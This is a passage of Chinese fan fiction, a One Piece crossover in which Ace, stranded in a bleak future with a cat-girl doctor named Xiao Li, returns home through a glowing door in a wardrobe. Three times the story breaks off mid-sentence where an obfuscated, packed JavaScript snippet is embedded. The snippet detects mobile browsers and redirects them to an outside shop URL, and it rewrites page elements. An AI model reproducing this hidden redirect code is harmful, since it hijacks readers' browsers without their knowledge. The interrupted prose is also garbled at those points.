小狸用脑袋顶了顶他温热的手掌,算是批准。然后她站起身,抖了抖毛,亦步亦趋地跟着他走到门口,再轻盈地一跃,跳上门诊台后的高脚椅,瞬间变回了少女的模样。她甚至还顺手理了理头发,板起小脸,努力做出一种“我一直很专业、很努力地在等客人上门”的正经表情,实则用眼神紧紧监督着艾斯开门的动作。 艾斯忍着笑,打开了门。门外是最近和艾斯说得上几句话的探险队成员,热情地邀请他一起去荒漠边缘碰碰运气,看能不能猎到些好东西。 小狸立刻不悦地“哼”了一声,从艾斯身后阴恻恻地探出半个脑袋,猫瞳带着冷光,精准地钉在来访者脸上。 那男人被看得一个激灵,连忙举起双手作投降状。他现在可不敢得罪这位“小祖宗”——自从艾斯明确表态后,几个相熟的探险队成员受了点小伤都会默契地来诊所处理,算是变相的结交和照顾生意。而小狸对这些试图“拐带”她哥哥去冒险的家伙,下手那是毫不手软,清创缝合时力道精准得让他们一个个龇牙咧嘴、冷汗直流,还得强颜欢笑地夸一句:“缝、缝得真好!” 不过,艾斯骨子里毕竟是渴望自由与冒险的海贼,让他一直困在这方寸诊所也实在勉强。最终,在小狸反复强调“一定要注意安全”、几乎要把他出门的装备检查三遍之后,她才会不情不愿地放行。 而艾斯也似乎真的拥有某种奇特的魔力,每次都能带着猎物完好无损地归来。他回归的日子,几乎是锈带少数能称得上“节日”的时光,用猎物换来的物资能让这片灰色地带短暂地焕发出几分活力和喧嚣。小狸看着那些因为分享到食物而露出真切笑容的面孔,总会忍不住感叹,艾斯就像一颗投入死水中的石子,连锈带这种地方,都能因他而泛起短暂的、名为“和平”的涟漪。 艾斯自己也清晰地感觉到,当小狸在身边,用那种全然依赖的姿态靠近他时,那些因思念故乡和伙伴而翻涌的焦躁与茫然,会奇异地平复许多。指尖陷入她柔软皮毛时传来的温暖触感,耳边响起的、代表满足与安宁的呼噜声,总能像最有效的镇定剂,抚慰他漂泊的灵魂,带来一种脚踏实地的、宁静的幸福感。 他会一边轻柔地给她顺毛,一边继续跟她讲述那片蔚蓝大海上的故事,讲那些让他牵挂的家人,讲那个橡胶笨蛋弟弟路飞闯过什么祸,讲白胡子老爹是如何一个如同山峦般伟岸、却又会在喝酒时和他们一起开怀大笑的、世界上最强大的男人。 小狸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941739|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总是安静地听着,偶尔用脑袋蹭蹭他忙碌的手指,蓝色的眼眸里清晰地倒映着他的身影,憧憬着那片故事里的海,仿佛要将他的每一个字、每一份思念都小心地收藏起来。 日子,仿佛就会这样平静而温暖地流淌下去。 这天,小狸抱着一大摞刚从仓库整理出来的医疗用品往回走。巨大的纸壳箱几乎完全遮挡了她的视线,她只能努力地伸长脖子,像只探头探脑的小乌龟,试图看清脚下的路。晃晃悠悠、步履蹒跚地终于挪动到了门口,到底还是被后巷杂物堆里伸出的半截钢筋绊了一下。 “啊呀!” 她惊呼一声,身体失去平衡向前摔去。好在猫科动物的本能让她下意识地调整姿态,四肢轻盈地率先着地,稳住了身形。坏的是,原本应该稳稳捧着纸箱的双手也同时撑在了地上,箱子里的东西顿时稀里哗啦地撒了一地,滚得到处都是。 艾斯闻声赶来,看到的就是这样一幕:小猫四脚着地,姿势标准得像在捕猎,而她手里的东西——各种绷带、药瓶、器械——则天女散花般铺了一地。他愣了一秒,随即毫不客气地爆发出响亮的、带着胸腔共鸣的大笑声,笑得几乎直不起腰。 “不许笑!”小猫气呼呼地甩着尾巴,精准地抽在他的小腿上,虽然不疼,但抗议意味十足。 两人一起蹲下身,开始捡拾散落一地的“残局”。 小狸伸手去够一个滚进杂物堆缝隙深处的消毒剂瓶。那个缝隙很窄,也不知道瓶子是怎么滑进去的。她把头歪向一边,努力把纤细的手臂和手指伸到极限,在黑暗中摸索着。指尖没有碰到光滑的瓶身,反而触碰到了一个冰凉、滑溜、带着圆弧形玻璃质感的东西。 她好奇地用指尖勾了勾,摸到了玻璃球下面系着的布带。她弹出爪子,小心地把它从杂物深处勾了出来。 “艾斯,这个是什么?没见过。”小狸捧着那个造型奇特的、内部有着精致指针的玻璃球,下意识地转头询问万能的“哥哥”。 艾斯的目光落在她手心,愣了一下,随即脸上绽放出惊喜的笑容:“啊!这个!我还以为彻底弄丢了呢!”他接过那个玻璃球,指尖珍惜地摩挲着冰凉的表面——那赫然是他的永久指针! “是你的东西吗?”小狸蹦到他身边,好奇地凑近了打量。 “嗯,是我从家乡带过来的东西。”艾斯晃了晃指针,里面的指针纹丝不动,他并不意外,解释道,“很神奇的,它会永远指向同一个固定的方向。” “像……古书上说的指南针?”小狸眨眨眼,“不过因为末世后磁场好像彻底乱掉了,那种东西早就不能用了。” “差不多吧。”艾斯又晃了晃依旧毫无反应的指针,语气轻松。毕竟他自己都不在伟大航路了,指针失效是理所当然的。他见小猫对这亮晶晶的小玩意儿很感兴趣,眼睛都快粘上去了,便干脆地将它塞回了小狸手里,“送给你了。” “真的吗?”小狸的眼睛瞬间亮了起来,像盛满了星星。她很喜欢这个亮晶晶、做工精致的小球,更重要的是,这是来自艾斯的世界的东西。握在手心,冰冰凉凉的,却仿佛让她和那个她无法想象的大海、和艾斯的过去,有了一丝微弱的、实体的联系。 她像是怕被谁抢走似的,小心翼翼地、几乎是捧着珍宝般,将永久指针藏进了那个小小的、属于她的木柜里。那里面已经装满了她的“宝藏”——几颗颜色特别的石子,一根漂亮的鸟类羽毛(可能是装饰品上掉的),几块干净的、形状奇特的碎布,还有艾斯之前随手削给她的小木雕……都是些在旁人看来乱七八糟、毫无价值的小东西。 艾斯看着她那副郑重其事的、如同守护龙类宝藏的认真模样,心里觉得又好笑又柔软,一股暖流无声地淌过。 在这个陌生、冰冷又残酷的末世季节里,两个原本孤独的灵魂,因为一场跨越世界的意外相遇而紧紧相依,彼此取暖,彼此照亮。 猫咪找到了她专属的、温暖又可靠的火焰哥哥。 而肆意燃烧的火焰,也有了愿意小心翼翼去守护、愿意为之收敛炙热、给予无限温柔的小小羁绊。 13. 倒计时 宁静而温馨的时光,宛如山间未被尘世侵染的清泉,细细流淌,透明纯净。小狸几乎完全沉浸在这份有艾斯相伴的温馨与安宁之中,她甚至开始在心底最隐秘的地方地编织一个奢侈的梦——也许,这样的日子真的能够永远延续下去。 然而,命运似乎总喜欢在人们最松懈的时刻,投下猝不及防的巨石,带来猝不及防的变化。 那只是一个再普通不过的午后,普通到小狸只是在整理柜台上那些积了灰、几乎永远不会用到的过期药品。然而,就在她指尖拂过柜台表面时,下方那个属于她的小木柜里,却忽然逸出一丝微弱的、绝不属于这个世界的荧光,甚至还伴随着极其细微的、类似精密金属部件转动的“咔哒”声。 她动作一顿,仔细回想——自己似乎并没有收藏任何会发光或者带有金属机括的东西。那里装的,都是她视若珍宝的“藏品”。一丝好奇混杂着莫名的不安,驱使她弯下腰,轻轻拉开了那扇小小的木门。 柜子里,静静地躺着她收藏的那些“宝贝”。而在它们中间,那枚之前属于艾斯的、被她小心珍藏的永久指针,正散发着柔和的、如同呼吸般明灭的光芒。玻璃球体内的指针,不再像之前那样死寂,而是正在缓慢而坚定地转动! 小狸的心跳漏了一拍。她小心翼翼地将指针取出,捧在手心。冰凉的玻璃触感此刻却有些烫手。她记得艾斯说过,它会永远指向一个固定的方向,但之前它“坏掉了”。可现在…… 她试探性地举着指针,在房间里缓缓移动方向。那不断轻微晃动的指针,在几次摇摆后,竟然稳稳地停了下来,如同被无形的磁极吸引,坚定不移地指向了一个明确的方向! 小狸顺着那指针所指的方向,有些僵硬地转过头——视线尽头,是那个靠在墙边、一人多高的老旧木质衣柜。她今天早上才刚刚整理过里面准备过冬的衣物。 一股冰冷的寒意瞬间从脚底窜上脊背。她几乎是屏住呼吸,一步步走过去,手指带着微不可查的颤抖,握住了冰凉的衣柜黄铜把手。 “吱呀——” 衣柜门被缓缓拉开,带着陈年木料和干净皂角的混合气味。然而,小狸的身体却在看清内部的瞬间,猛地僵住了,血液仿佛在刹那间凝固。 在衣柜最内侧的背板上,赫然出现了绝不应该存在于此世的东西。 一扇“门”。 一扇看起来极其虚幻、像是有人用浅色荧光笔在空气中随意勾勒出的、线条简单的门。它没有实体,边框甚至有些歪歪扭扭,比起建筑,更像是不谙世事的孩童信手涂鸦的作品,连街角最随性的涂鸦都比它更具艺术感。它若隐若现,光影在其上流动,若非指针明确指引,几乎会让人以为是光线折射造成的视觉错觉。 小狸的瞳孔骤然收缩成危险的针尖状,心脏像是被一只无形而冰冷的手死死攥紧,几乎停止跳动。 她几乎瞬间就明白了这是什么! 这是……能让他回去的“通道”吗?它……开始形成了?! 一种灭顶般的恐慌,如同汹涌的冰潮,瞬间将她吞没。它的出现,是不是像一个残酷的倒计时,宣告着艾斯即将离开? 不!不要! 几乎是出于最原始、最自私的本能,她猛地行动起来,手忙脚乱地将衣柜里叠放整齐的衣服胡乱地扯出来,又更加混乱地塞回去,用厚厚的织物层层叠叠、严严实实地堵住了那扇诡异的、象征着离别的大门。动作仓促得近乎粗暴,仿佛这样,就能将那扇门,连同它背后所代表的、即将撕裂她世界的分别,一同掩埋、封存。 她的指尖冰凉,微微颤抖着。心底有一个微小而尖锐的声音在疯狂叫嚣:不要发现!求求你……不要走! 接下来的日子,对小狸而言变成了一场无声的凌迟。她变得心不在焉,眼神时常飘忽。她依旧会和艾斯一起坐在桌边分享食物,依旧会在每个清晨听到他元气满满的“早上好,小狸!”,依旧会变回猫形,贪恋地窝在他温暖如春的腿窝里打盹,感受着他指尖梳理毛发时带来的、让她安心到想落泪的触感。 但她的目光,总会不受控制地、带着恐惧与眷恋,偷偷瞟向那个沉默的衣柜。而每一次小心翼翼的查看,都让她的心沉向更冰冷的深渊。 那扇门,在以肉眼可见的速度发生变化。它一天比一天更清晰,更凝实。从最初模糊的光影轮廓,逐渐勾勒出更加明确的门的形态,甚至开始散发出一种极其微弱、却与这个充斥着锈蚀与辐射的世界格格不入的奇异波动。它像一个悬在她头顶的达摩克利斯之剑,无声地、冷酷地提醒着她:艾斯停留的时间,正在飞速流逝。 小狸承受着巨大的、无人知晓的内心煎熬。一方面,她像即将溺毙的人抓住最后一根浮木,贪婪地汲取着与艾斯相处的每一分、每一秒,将他爽朗的笑容、他身上火焰般的温度、他抚摸她时轻柔的力度,都如同烙印般刻入灵魂最深处。另一方面,那扇日益清晰的门又像一块不断增重的巨石,沉甸甸地压在她的心口,让她在每一刻的甜蜜陪伴中,都清晰地品尝着分离即将到来的、尖锐的苦涩。 她知道自己应该告诉艾斯。他属于那片蔚蓝壮阔的自由大海,他有必须回去的理由和归宿。将他强行留在这个狭小、安逸却如同牢笼般的诊所里,是一种无比自私又自以为是的残忍。 可是……开口真的好难。 每一次,话语已经涌到嘴边,看着艾斯那双总是盛着阳光和笑意的黑眸,感受着他带来的、驱散她生命中所有阴霾的温暖,那些准备好的词句就像被无形的屏障挡住,又被她艰难地、混合着苦涩咽回肚里。她害怕看到他得知真相后,眼中必然会燃起的、对故乡的渴望或者对她隐瞒的行为失望;她害怕分别那一刻真正降临时,自己会无法承受那撕心裂肺的痛楚;她害怕……从此以后,这个世界将重新变回那个冰冷、灰暗、只有她一个人的荒漠。 艾斯也敏锐地察觉到了小狸近期的异常。她总是会一个人盯着某个方向出神,可那里除了一个破旧的木衣柜,空无一物。艾斯摸着下巴思索了片刻,得出了一个自以为合理的结论:啊,一定是天气转凉,小狸在考虑添置过冬的衣物了,觉得旧衣柜不够用了吧?要不要想办法带她去中心城逛逛,买些好的回来?不过入城许可好像不太好弄…… 他还在心里默默规划着这个“惊喜”,小狸却已经被步步紧逼的时间追赶得快要窒息。 终于,在一个看似与往常无异的平静夜晚,两人像过去的几十个夜晚一样,挤在那张不算宽敞的旧沙发上,看着电视里播放的无聊节目。小黑猫蜷缩在艾斯怀里,被他温暖的手臂圈着,艾斯有一搭没一搭地用手指梳理着她背上丝滑的毛发。舒适的体温和规律的抚摸,烘得她昏昏欲睡。空气中弥漫着一种近乎永恒的安宁与温馨。 小狸抬起头,从这个角度,她能清晰地看到艾斯轮廓分明的下颌线,看到他专注看着屏幕时微微闪动的、浓密的睫毛,看到他毫无防备的、全然放松的侧脸。 这一刻的平静与幸福,像是由最纯净的水晶雕琢而成,美丽,却脆弱得一触即碎。 她知道,不能再拖了。那扇门已经清晰到无法再自欺欺人地忽略。她不能……不能再因为自己卑劣的私心,剥夺他知晓真相、做出选择的权利。 她深深地、近乎贪婪地最后感受了一下他怀里的温暖,然后轻轻一动,从他的臂弯里跳了下来,落在柔软的沙发垫子上。光芒微闪,她变回了少女形态,静静地坐在他身边。 艾斯有些疑惑地低下头,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941740|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向她:“怎么了小狸?困了吗?要不然就先……” 小狸用力地摇了摇头,双手在身侧紧紧攥住了自己的裙摆,指节因用力而泛白。她低着头,不敢直视他的眼睛,害怕一对上他的目光,自己好不容易积攒的勇气就会瞬间溃散。心脏在胸腔里疯狂擂动,快得几乎要挣脱束缚。 “艾斯……”她轻声开口,声音带着一丝无法掩饰的、细微的颤抖。 “嗯?”艾斯察觉到了她语气里异样的严肃和沉重,不由得也坐直了身体,脸上的慵懒神色褪去,变得认真起来,“发生什么事了?” 小狸深吸了一口气,那口气息吸入肺腑,却带着冰碴般的刺痛。她仿佛用尽了此生全部的力气,才终于抬起头,那双蔚蓝色的、此刻盛满了复杂情绪的猫瞳,直直地望向艾斯。她努力让自己的声音听起来平稳,尽管每一个字都像在切割她自己的心脏: “我可能……找到你回家的方法了。”她停顿了一下,清晰地看到艾斯眼中闪过的震惊,继续艰难地说道,“你的‘门’……出现了。就在……那个衣柜里。” 她将自己如何发现指针异常,如何顺着指引找到那扇门的过程,尽可能清晰却简略地叙述出来,语气里充满了谨慎和无法掩饰的沮丧。 “它出现……已经有一段时间了……”小狸的声音越来越低,带着浓重的、真切的歉疚,“我……我一开始很害怕……就,把它藏起来了……对不起,艾斯。” 她顿了顿,攥着裙摆的手指更加用力,骨节突出,但依旧努力维持着语气的平静,甚至试图在嘴角牵起一个极其勉强、比哭还难看的笑容: “但是,我知道的……艾斯你,是属于大海的,是属于白胡子海贼团的。那里有等你回去的家人。你……是自由的。” 她一直仰望着他谈起大海和伙伴时,那双如同燃烧着火焰般、神采飞扬的眼睛。所以她比谁都明白,自己不能,也绝不愿意折断他翅膀。 “我不能……因为不想你离开,就假装它不存在。”她的声音终于控制不住地带上了一丝哽咽的沙哑,但她迅速低下头,长长的刘海垂落,巧妙地掩饰住瞬间泛红、盈满水汽的眼眶,“你……去看看它吧。它好像,越来越清楚了……大概,就是最近……就会稳定下来。” 说完这些埋藏在心底许久、如同千斤重担般的话语,她仿佛被瞬间抽空了所有的力气和灵魂,只是安静地、僵硬地坐在那里,像一只在暴风雨前蜷缩起来、等待最终命运宣判的、无助的小动物。身后那条总是灵活表达情绪的黑色长尾,此刻无力地垂落在沙发边缘,那双敏感的猫耳,也微微耷拉着,失去了所有活力。 客厅里,只剩下电视中嘈杂喧闹的广告声,喋喋不休地填充着这突然变得无比凝滞和压抑的空间,显得格外刺耳又格格不入。 艾斯沉默地看着她,看着这个明明自己害怕得浑身都在微微发抖,却最终还是选择了坦诚的女孩。一股强烈而复杂的暖流,夹杂着难以言喻的心疼、深切的感激、不舍,以及一种连他自己都尚未完全明晰的悸动,猛地撞击着他的心脏。 他伸出手,没有第一时间急切地冲向那个衣柜,去验证他梦寐以求的归途。而是像过去无数次那样,温柔地、带着安抚力量的、轻轻地放在了她的头顶,感受着她发丝的柔软和细微的颤抖。 “小狸……”他的声音低沉而温暖,“谢谢你告诉我。也谢谢你……这段时间,收留了我这个大麻烦。” 他的手掌,依旧带着那种能驱散一切阴霾和寒冷的暖意。而这熟悉的温暖,此刻却像最后一把钥匙,彻底打开了小狸强忍至今的泪闸。 她知道,她留不住他了。 那片蔚蓝的、遥不可及的海,终究要带回她短暂拥有过的太阳。 14. 告别 那扇门彻底凝实了,像一幅用流动的银色光晕在空气中勾勒出的简笔画,线条稳定而清晰,印刻在衣柜内侧的木质背板上,散发着一种稳定、玄奥却又令人心慌的气息。 分别的时刻,终究还是无情地走到了眼前。 最后的几天,小狸表现出一种近乎反常的、带着神经质般的亢奋与忙碌。她翻箱倒柜,把觉得艾斯可能用得上的一切东西都搜刮出来——干净的毛巾、未开封的牙膏、她悄悄囤积的各种罕见零食,甚至还有她平时最依恋的那个、沾染了她和艾斯气息的旧抱枕。 “这个带上!路上用得上!这个也带上!饿了可以吃!还有这个,这个保暖!”她像一只试图为过冬储备远超所需物资的、焦虑的小松鼠,不停地往一个几乎有她半人高的巨大背包里塞东西,动作急促,恨不得把整个诊所连同那些温暖的记忆一起打包进去。她的脸上始终挂着一种灿烂得过分的笑容,嘴角扬起的弧度比任何时候都大,声音也比平时高昂轻快许多,喋喋不休,仿佛这不是一场可能永别的前往另一个世界的旅程,而只是一次普通的、短暂的远行准备。为了让艾斯安心,她甚至强迫自己比平时多吃下许多食物,胃里沉甸甸的,心却空荡荡的。 只有那微微颤抖、泄露不安的指尖,和那双偶尔会失神片刻、迅速蒙上一层水雾又立刻被她用力眨去的蓝色眼眸,才真实地泄露了她内心濒临崩溃的慌乱与无措。她用这种近乎透支的忙碌和灼眼的笑容,筑起一道脆弱的堤坝,拼命阻挡着那即将汹涌决堤、足以将她淹没的悲伤。 艾斯看着她像只忙碌的陀螺般转个不停,看着她明明难过到指尖都在发抖,却还要强撑出最明媚的笑颜,心里像是被浸泡在酸涩的海水里,又像是被什么东西死死堵住,闷得发疼。他想说“不用带这么多,太重了”,想说“别忙了,坐下来休息一下”,想说点什么来戳破这层虚假的热闹,让真实的情绪流淌出来,哪怕一起难过也好。可他张了张嘴,却发现言语在此刻如此苍白无力。他只能沉默地、近乎贪婪地看着她的身影,然后在她转身的间隙,悄悄将她塞进包里的、过于累赘的东西又一件件拿出来,只留下一些真正轻便、或许在未知旅途中能用得上的。 “小狸,真的够了。”他终于忍不住,在她又一次试图把那个他拿出来好几次的巨大抱枕往里塞时,伸手轻轻按住了她忙碌的手腕,声音温柔得近乎叹息,带着浓浓的无奈,“我不是去探险,是回家。而且……”他顿了顿,努力想让紧绷的气氛松缓一丝,嘴角扯出一个安抚的弧度,“莫比迪克号上,真的什么都不缺。老爹不会让他的儿子们饿着冻着的。” 小狸的手僵在半空,脸上那完美无瑕的、瓷器般的笑容,像是被无形的锤子轻轻敲击,出现了一丝细微却清晰的裂痕。但下一秒,她用更快的速度、更大的力气将裂缝修补好,甚至让笑容变得更加明亮刺眼。 回家啊…… 对啊,他是要回家啦。那里什么都有,伙伴,家人,有她无法想象的丰足和温暖。 她飞快地抽回手,转过身去,假装整理那张早已一尘不染的桌面,背对着他,声音依旧维持着那种令人心碎的轻快:“我知道呀!莫比迪克号肯定很棒!但是……但是万一呢!路上也可能需要嘛!有备无患,有备无患啦!” 临行的那一刻,终究无可避免地到来了。 艾斯看着脚边那个即使被他精简过、却依旧被塞得鼓鼓囊囊、显得无比沉重的大背包,脸上露出一个混合着无奈、心疼与无限柔软的复杂笑容。他伸出手,像往常一样,揉了揉小狸柔软的发顶,指尖眷恋地拂过她敏感的猫耳根部:“真是的……装了这么多东西,这么重,难道装了石头吗?我怎么拿得动啊。” 小狸仰起脸,回给他一个无比明媚、灿烂到几乎灼伤眼睛的笑容,蓝色的眼睛弯成了两弯新月,里面仿佛盛满了世间所有纯净的星光,看不出丝毫阴霾与悲伤:“因为——是我给哥哥准备的心意嘛!”她甚至俏皮地吐了下舌尖,语气活泼,“能拿多少拿多少就好啦!反正你的力气那么大,最厉害了!” 正午的阳光透过干净的玻璃窗,毫无保留地照射在她白皙近乎透明的脸颊上,那笑容在光线下看起来那么真实,那么鲜活,那么漂亮,仿佛真的发自内心,毫无芥蒂。 艾斯深深地、近乎刻骨地看着她,像是要将这个笑容,连同她此刻的模样,一起用力镌刻进灵魂的最深处,成为无论跨越多少海洋、多少世界都不会褪色的记忆。他弯下腰,提起那个沉甸甸的背包,轻松地甩到肩上——确实很重,因为里面装满了笨拙却无比珍贵的心意。然后,他转身,走向那个敞开的衣柜,站在了那扇静静散发着微光、仿佛通往另一个宇宙的“门”前。 空气瞬间沉寂下来,连窗外的喧嚣都仿佛被隔绝。诊所里只剩下两人细微的呼吸声,和一种沉重得化不开的离别气息。 小狸站在他身后几步远的地方,没有再靠近。双手紧张地、无意识地交握在身前,纤细的手指互相绞紧。脸上的笑容依旧顽强地维持着,但嘴角的弧度已经变得有些僵硬,像是凝固的面具。那双蔚蓝色的眼眸深处,如同风暴来临前最后平静的海面,底下是无法再掩盖的、汹涌澎湃的悲伤、眷恋,以及一片荒芜的空洞。 “那……我走了。”艾斯转过身,最后的目光落在她身上,声音很轻,却重重地敲在两人的心上。 “嗯!”小狸用力地点了下头,动作幅度大得有些夸张,声音清脆响亮,努力驱散沉寂:“一路顺风,艾斯哥哥!回去之后,要代替我向老爹,还有马尔科先生、萨奇先生……向大家问好哦!”她甚至努力让语气带上一点俏皮的嘱托,“就说……是锈带的小猫医生的问候!” 艾斯点了点头,目光在她努力微笑的脸上久久停留,深邃的黑眸中翻涌着无数复杂难言的情绪。他似乎想说什么,话语在喉头滚动,最终却只是化作一个温柔到极致、也沉重到极致的笑容:“嗯。保重,小狸。” 他深吸一口气,那气息仿佛带着这个小小诊所里特有的、混合着消毒水、阳光和她身上淡淡奶甜味的空气。他闭上眼,视网膜上却清晰无比地烙印着少女强颜欢笑的模样。明明还没有真正分开,胸腔里却已经空荡得像是被硬生生剜去了一块,灌满了冰冷的穿堂风。那个曾在心底悄然滋生、又被他强行按下的疯狂念头,再次如同藤蔓般疯长,缠绕住他的心脏——小狸……你要不要……和我一起走? “艾斯!”小狸突然开口叫住了他,声音带着一丝不易察觉的急促。 艾斯脚步猛地一顿,近乎迫切地、带着一丝自己都未察觉的渴求与期许,迅速回过头。这是一个机会……只要自己现在说出来,问出口,或许…… 但是,他看到的,是女孩脸上依旧努力维持的、甚至更加灿烂的笑容。只是那笑容里,此刻清晰地染上了几分哀求的意味。她的声音微微发颤,却依旧努力上扬着: “艾斯……等会儿你进去之后,”她顿了顿,用力吸了吸鼻子,仿佛这样就能把眼泪逼回去,“千万不要回头哦!” 她又顿了顿,仰着脸,让阳光照干眼底瞬间聚集的热意,声音带着明显的、再也无法完全掩饰的哭腔,却还在拼命笑着: “因为……因为我马上就要哭出来了……样子肯定会很丑、很狼狈的……所以……所以……” 她的声音越来越轻,如同即将飘散的羽毛,带着无尽的不舍与最深切的恳求: “……所以,请哥哥……记住我最后笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941741|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着的样子,就好了。” 艾斯的心脏像是被一只无形的手狠狠攥紧、拧绞,疼得他几乎窒息。他看着那个明明眼泪已经在湛蓝的眼眶里疯狂打转,却倔强地仰着头、不让它们掉落,还在拼命对他绽放笑容的女孩,喉咙像是被滚烫的熔岩堵住,灼痛得一个字也说不出来。 狂跳的心脏和几乎冲破胸膛的冲动,让他几乎要抛下一切、转身用力将她紧紧搂进怀里,告诉她“不走了”,或者“跟我走”。 可是……他不能。 他有必须回去的理由,有等待他的家人,有未竟的责任。他的世界充满了未知与危险,他怎么能如此任性。 他只能重重地、深深地、仿佛用尽全身力气般点了下头,然后将所有翻腾的情绪死死压回心底,毅然决然地转过身,不再看她,仿佛多看一眼就会彻底瓦解所有的决心。他迈开脚步,近乎落荒而逃般,一步踏入了那扇散发着柔和银光的大门。 银色的光芒骤然亮起,温柔地包裹住他的身影,连同肩上那个鼓鼓囊囊、装满笨拙心意的背包。光芒一闪——他的身影瞬间消失无踪,仿佛从未存在过。 只有那扇光门,依旧静静地悬浮在衣柜中,散发着稳定而玄奥的气息,证明着刚才发生的一切并非幻觉。 “砰!!!” 几乎是在艾斯身影消失的同一秒,积蓄了所有力量的小狸,猛地像一道黑色的闪电般冲上前!她用尽全身的力气,带着一种近乎绝望的凶狠,狠狠地、死死地关上了衣柜的门!巨大的声响在空旷的诊所里回荡,震得墙壁仿佛都在嗡鸣。 仿佛这样,就能将那个通往另一个世界的通道彻底切断;仿佛这样,就能将刚才发生的一切离别、那扇门、连同那个带走她太阳的世界,都永远地锁在黑暗里,隔绝出她的生活! 她背靠着冰冷坚硬的衣柜门板,身体里那根一直紧绷到极致的弦,“啪”地一声,断了。 所有支撑她的力气瞬间被抽空,伪装出来的坚强彻底粉碎成齑粉。她像一尊失去提线的木偶,缓缓地、无力地沿着门板滑坐下去,最终蜷缩在冰冷的地板上。 外面那层灿烂耀眼的笑容面具,轰然崩塌、瓦解,碎片扎进心里,疼得她浑身颤抖。 “呜……呃……”一声压抑到极致、从喉咙深处挤出来的、破碎的呜咽,如同受伤幼兽的哀鸣,率先泄漏出来。 紧接着—— “哇啊啊啊啊啊——!!!!” 如同被压抑了太久的火山终于爆发,如同堤坝彻底崩溃后汹涌的洪水,再也无法抑制的嚎啕痛哭,猛地从她胸腔里迸发出来!她蜷缩在冰冷的地板上,把自己抱成小小的一团,像个被全世界彻底抛弃、遗落在无边黑暗中的孩子,撕心裂肺地大哭起来。 眼泪如同决堤的江河,汹涌澎湃地冲出眼眶,迅速打湿了她苍白的小脸,浸透了她的衣襟,在她身下的地板上晕开深色的痕迹。她哭得浑身剧烈颤抖,哭得上气不接下气,仿佛要将这段时间所有强忍下的恐慌、所有不舍的眷恋、所有尖锐的悲伤,以及那份她尚且懵懂、却已悄然生长的爱与依赖,全部毫无保留地、痛痛快快地哭喊出来,让泪水冲刷掉这令人窒息的疼痛。 空荡、寂静的诊所里,只剩下她一个人撕心裂肺、仿佛灵魂都被掏空的哭声在无助地回荡,撞击着冰冷的墙壁,又无力地消散。 那个被温暖火焰照亮、被细心饲养呵护过的、美好得如同幻境的美梦, 醒了。 太阳终究还是回到了他本该照耀的、蔚蓝而自由的大海上。 而她又变回了那只……在冰冷、灰暗、绝望的世界里,独自蜷缩在角落,舔舐着新鲜伤口、无人问津、也无处可去的, 野猫。 15. 指针与奔赴 艾斯离开后的日子,小狸的生活仿佛被一只无形的手粗暴地抽走了所有的色彩与温度,只留下一片令人麻木的灰白与刺骨的冰冷。 她重新变回了一个人。每天早上在冰冷寂静的房间中睁开眼,迎接她的不再是那个灿烂如朝阳的笑容和那句元气满满的“早上好”。房间安静得可怕,只有墙上老旧的挂钟轴承发出单调的“滴答”声,机械地走动,每一声都像是在无限放大、强调着这份令人窒息的空寂与孤独。 她常常会在诊所门口失神地站上很久,目光空洞地望向巷口,仿佛在固执地期待一个早已知道永远不会再出现的奇迹。最初几天,一直负责给两人做饭的邻居还会好心地将食物送过来,发现艾斯连续几天不见踪影后,那份带着烟火气的关怀便也如同断线的风筝,彻底消失了。小狸自己也没有心思考虑饮食,只是机械地将干硬的合成面包塞进嘴里,味同嚼蜡,然后对着对面那张空荡荡的、仿佛还残留着某人温度的椅子长久地发呆。不过,最近的合成面包似乎变质了,吃到嘴里,总带着一股挥之不去的咸涩。 夜晚睡觉时,总觉得身边少了那个恒定的、令人安心的热源,被窝怎么蜷缩也捂不暖,只能变回小小的猫形,将自己团成最紧密的一团,徒劳地汲取着自身那点可怜的、微不足道的体温。 原来,曾经真真切切地拥有过温暖,再骤然失去,远比一直身处冰冷的孤独中,要残忍痛苦千百倍。 她只能强迫自己更拼命地工作,用近乎自虐的疲惫来麻木神经,好让自己没有多余的时间和精力去胡思乱想,去反复咀嚼那份蚀骨灼心的思念。近乎昼夜不停歇地接诊、处理伤口,让那些常来光顾的探险队成员们都开始暗自议论纷纷。艾斯已经好多天没露面了,终于有人按捺不住好奇心,在治疗时小心翼翼地试探着问出口。话刚说了一半,就对上了小狸那双失去了所有光彩、只剩下空洞与冰封的蓝色眼眸,那眼神看得人心底发寒,问话者果断闭了嘴,再不敢多言半句。小狸往往工作到精疲力竭,然后倒头就睡,因为只有沉入无梦的黑暗,才能短暂地逃离那份无所不在、几乎要将她吞噬的空洞感。 